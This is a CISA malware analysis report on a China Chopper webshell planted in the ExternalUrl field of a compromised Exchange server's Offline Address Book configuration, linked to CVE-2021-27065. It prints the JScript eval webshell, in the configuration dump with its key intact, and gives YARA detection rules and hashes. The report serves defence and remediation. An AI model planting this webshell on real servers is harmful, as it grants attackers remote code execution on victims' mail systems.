MAR-10329499-1.v1: China Chopper Webshell

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Description

CISA received a unique file for analysis. This file appears to contain configuration data for Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. The output file shows malicious modifications for the ExternalUrl parameter. In the OAB VD, the ExternalUrl parameter contains a "China Chopper" webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10329499-1.v1.stix.

Submitted Files (1)

4e08ba96ca8fc7f2f8347eef22a972de0d6886a51201ddc604195ba8d0bfb54a (xu78pK4y.aspx)

4e08ba96ca8fc7f2f8347eef22a972de0d6886a51201ddc604195ba8d0bfb54a

Tags

trojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Webshellz"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s1 = { 65 76 61 6C 28 }
  
         $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
  
         $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
         $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
  
     condition:
  
         $s0 or ($s1 and $s2) or ($s3 and $s4)
  
  }
• rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
  
  {
  
     meta:
  
         Author = "CISA Code & Media Analysis"
  
         Incident = "10328929"
  
         Date = "2021-03-17"
  
         Last_Modified = "20210317_2200"
  
         Actor = "n/a"
  
         Category = "Trojan WebShell Exploit CVE-2021-27065"
  
         Family = "HAFNIUM"
  
         Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
  
         MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
  
         SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
  
     strings:
  
         $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
  
         $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
  
         $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
  
     condition:
  
         $s0 and $s1 and $s2
  
  }

ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.



In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:



--Begin webshell--

http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

--End webshell--



Note: The hard-coded key used for authentication was redacted from the code above.



The code within the file decodes and executes data using the JavaScript “eval” function. The requested encoded data was not available for analysis.



This file contains the following configuration data (sensitive data was redacted):



--Begin configuration--

Name                            : OAB (Default Web Site)

PollInterval                    : 480

OfflineAddressBooks             : \Default Offline Address Book (Ex2012)

RequireSSL                     : True

BasicAuthentication             : False

WindowsAuthentication         : True

OAuthAuthentication             : True

MetabasePath                    : IIS[:]//MAIL.[REDACTED].ORG/W3SVC/1/ROOT/OAB

Path                            : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB

ExtendedProtectionTokenChecking : None

ExtendedProtectionFlags         :

ExtendedProtectionSPNList     :

AdminDisplayVersion             : Version 15.0 (Build 1497.2)

Server                         : MAIL

InternalUrl                     : hxxp[:]//mail.[REDACTED].org/OAB

InternalAuthenticationMethods : OAuth

                                WindowsIntegrated

ExternalUrl                     : hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>

ExternalAuthenticationMethods : OAuth

                                WindowsIntegrated

AdminDisplayName                :

ExchangeVersion                 : 0.10 (14.0.100.0)

DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=MAIL,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=WMEL,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=[REDACTED],DC=ORG

Identity                        : MAIL\OAB (Default Web Site)

Guid                            : 8c65a00a-7a8f-42fd-acd9-f5e0003f0b0c

ObjectCategory                 : [REDACTED].ORG/Configuration/Schema/ms-Exch-OAB-Virtual-Directory

ObjectClass                     : top

                                msExchVirtualDirectory

                                msExchOABVirtualDirectory

WhenChanged                     : 3/2/2021 8:40:49 AM

WhenCreated                     : 5/3/2016 10:38:06 AM

WhenChangedUTC                 : 3/2/2021 1:40:49 PM

WhenCreatedUTC                 : 5/3/2016 2:38:06 PM

OrganizationId                 :

Id                             : MAIL\OAB (Default Web Site)

OriginatingServer             : CH-DC1.[REDACTED].ORG

IsValid                         : True

--End configuration--

If you find this webshell as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

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What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

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Can I submit malware to CISA? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

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